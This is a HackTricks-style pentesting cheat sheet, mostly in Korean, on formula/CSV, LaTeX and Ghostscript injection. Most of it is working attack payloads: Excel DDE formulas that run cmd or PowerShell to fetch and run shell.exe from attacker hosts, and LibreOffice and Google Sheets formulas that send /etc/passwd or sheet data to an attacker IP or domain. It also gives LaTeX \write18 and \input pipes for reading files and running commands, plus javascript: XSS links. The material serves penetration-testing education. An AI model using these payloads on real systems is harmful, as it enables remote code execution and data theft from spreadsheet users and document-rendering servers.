Formula/CSV/Doc/LaTeX/GhostScript Injection

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**로 **AWS 해킹**을 배우세요!

HackTricks를 지원하는 다른 방법:

Try Hard Security Group


수식 Injection

정보

만약 입력CSV 파일 (또는 Excel에서 열릴 가능성이 높은 다른 파일) 내에 반사된다면, Excel 수식을 넣어 파일을 열거나 사용자가 엑셀 시트 내의 링크를 클릭할 때 실행될 수 있습니다.

요즘에는 Excel이 외부에서 무언가를 로드할 때 사용자에게 경고를 표시하여 악의적인 작업을 방지합니다. 따라서 최종 페이로드에 대해 사회 공학적 노력을 기울여야 합니다.

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

하이퍼링크

다음 예제는 최종 엑셀 시트에서 콘텐츠를 유출하고 임의의 위치로 요청을 수행하는 데 매우 유용하지만, 사용자가 링크를 클릭하고 경고 프롬프트를 수락해야 합니다.

다음 예제는 https://payatu.com/csv-injection-basic-to-exploit에서 가져왔습니다.

학생 기록 관리 시스템에서 보안 침해가 CSV 주입 공격을 통해 악용되었다고 가정해보십시오. 공격자의 주요 의도는 교사가 학생 세부 정보를 관리하는 데 사용하는 시스템을 침해하는 것입니다. 이 방법은 공격자가 애플리케이션에 악의적인 페이로드를 주입하도록 하는 것으로, 구체적으로 학생 세부 정보를 위한 필드에 해로운 수식을 입력함으로써 수행됩니다. 공격은 다음과 같이 진행됩니다:

  1. 악의적인 페이로드 주입:

  • 공격자는 학생 세부 정보 양식을 제출하지만, 스프레드시트에서 일반적으로 사용되는 수식(예: =HYPERLINK("<malicious_link>","Click here"))을 포함합니다.

  • 이 수식은 하이퍼링크를 생성하도록 설계되었지만, 공격자가 제어하는 악성 서버를 가리킵니다.

  1. 침해된 데이터 내보내기:

  • 침해를 모르는 교사들은 데이터를 CSV 파일로 내보내는 애플리케이션 기능을 사용합니다.

  • CSV 파일을 열면 여전히 악의적인 페이로드가 포함되어 있습니다. 이 페이로드는 스프레드시트에서 클릭 가능한 하이퍼링크로 나타납니다.

  1. 공격 트리거링:

  • 교사가 학생 세부 정보의 일부로 여기고 하이퍼링크를 클릭합니다.

  • 클릭하면 민감한 데이터(스프레드시트나 교사 컴퓨터의 세부 정보를 포함할 수 있음)가 공격자의 서버로 전송됩니다.

  1. 데이터 기록:

  • 공격자의 서버는 교사 컴퓨터에서 전송된 민감한 데이터를 수신하고 기록합니다.

  • 공격자는 이 데이터를 다양한 악의적 목적으로 사용할 수 있으며, 학생 및 기관의 개인 정보 보호와 보안을 더욱 침해할 수 있습니다.

RCE

자세한 내용은 원본 게시물 을 확인하십시오.

구체적인 구성이나 오래된 버전의 Excel에서는 동적 데이터 교환(Dynamic Data Exchange, DDE)라는 기능을 악용하여 임의의 명령을 실행할 수 있습니다. 이를 활용하려면 다음 설정이 활성화되어 있어야 합니다:

  • 파일 → 옵션 → 신뢰 센터 → 신뢰 센터 설정 → 외부 콘텐츠로 이동하여 동적 데이터 교환 서버 시작을 활성화합니다.

악의적인 페이로드가 포함된 스프레드시트가 열리면(사용자가 경고를 수락하는 경우) 페이로드가 실행됩니다. 예를 들어 계산기 애플리케이션을 실행하려면 페이로드는 다음과 같을 것입니다:

=cmd|' /C calc'!xxx

추가 명령을 실행할 수도 있습니다. PowerShell을 사용하여 파일을 다운로드하고 실행하는 것과 같은 작업이 가능합니다:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

LibreOffice Calc에서의 로컬 파일 포함 (LFI)

LibreOffice Calc를 사용하여 로컬 파일을 읽고 데이터를 유출할 수 있습니다. 다음은 몇 가지 방법입니다:

  • 로컬 /etc/passwd 파일에서 첫 번째 줄 읽기: ='file:///etc/passwd'#$passwd.A1

  • 읽은 데이터를 공격자가 제어하는 서버로 유출: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))

  • 하나 이상의 줄을 유출: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

  • DNS 유출 (읽은 데이터를 공격자가 제어하는 DNS 서버로 DNS 쿼리로 전송): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

OOB (Out-of-Band) 데이터 유출을 위한 Google Sheets

Google Sheets는 OOB 데이터 유출을 위해 악용할 수 있는 함수를 제공합니다:

  • CONCATENATE: 문자열을 연결합니다 - =CONCATENATE(A2:E2)

  • IMPORTXML: 구조화된 데이터 유형에서 데이터를 가져옵니다 - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

  • IMPORTFEED: RSS 또는 ATOM 피드를 가져옵니다 - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))

  • IMPORTHTML: HTML 테이블이나 목록에서 데이터를 가져옵니다 - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

  • IMPORTRANGE: 다른 스프레드시트에서 셀 범위를 가져옵니다 - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

  • IMAGE: 셀에 이미지를 삽입합니다 - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX Injection

일반적으로 LaTeX 코드를 PDF로 변환하는 서버는 **pdflatex**를 사용합니다. 이 프로그램은 (명령 실행을 허용하거나 금지하는) 3가지 주요 속성을 사용합니다:

  • --no-shell-escape: \write18{command} 구조를 비활성화합니다. texmf.cnf 파일에서 활성화되어 있더라도.

  • --shell-restricted: --shell-escape와 동일하지만 '안전한' 미리 정의된 명령 집합으로 제한됩니다 (**Ubuntu 16.04에서 목록은 /usr/share/texmf/web2c/texmf.cnf에 있습니다).

  • --shell-escape: \write18{command} 구조를 활성화합니다. 명령은 셸 명령일 수 있습니다. 이 구조는 일반적으로 보안상의 이유로 금지됩니다.

그러나 명령을 실행하는 다른 방법도 있으므로 RCE를 피하기 위해 --shell-restricted를 사용하는 것이 매우 중요합니다.

파일 읽기

[ 또는 $와 같은 래퍼를 사용하여 삽입을 조정해야 할 수 있습니다.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

한 줄 파일 읽기

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

여러 줄 파일 읽기

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

파일 작성

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

명령 실행

명령의 입력은 stdin으로 리다이렉트되며, 이를 가져오기 위해 임시 파일을 사용합니다.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Ghostscript Injection

Description

Ghostscript is a widely used interpreter for the PostScript language and PDF files. It is often used in the background by other programs to convert PostScript to PDF or render PDF files. Ghostscript is powerful and can be abused to execute arbitrary commands on the system.

Exploitation

An attacker can craft a malicious PostScript file that contains commands to execute arbitrary commands on the server when processed by Ghostscript. This can lead to remote code execution and complete compromise of the server.

Prevention

To prevent Ghostscript injection, ensure that user input is properly sanitized before being processed by Ghostscript. Additionally, restrict the commands that Ghostscript is allowed to execute to minimize the attack surface. Regularly update Ghostscript to the latest version to patch any known vulnerabilities.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

@EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

확인 https://blog.redteam-pentesting.de/2023/ghostscript-overview/

참고 자료

Try Hard Security Group

htARTE (HackTricks AWS Red Team Expert)와 함께 제로부터 AWS 해킹을 전문가로 배우세요!

HackTricks를 지원하는 다른 방법:

Last updated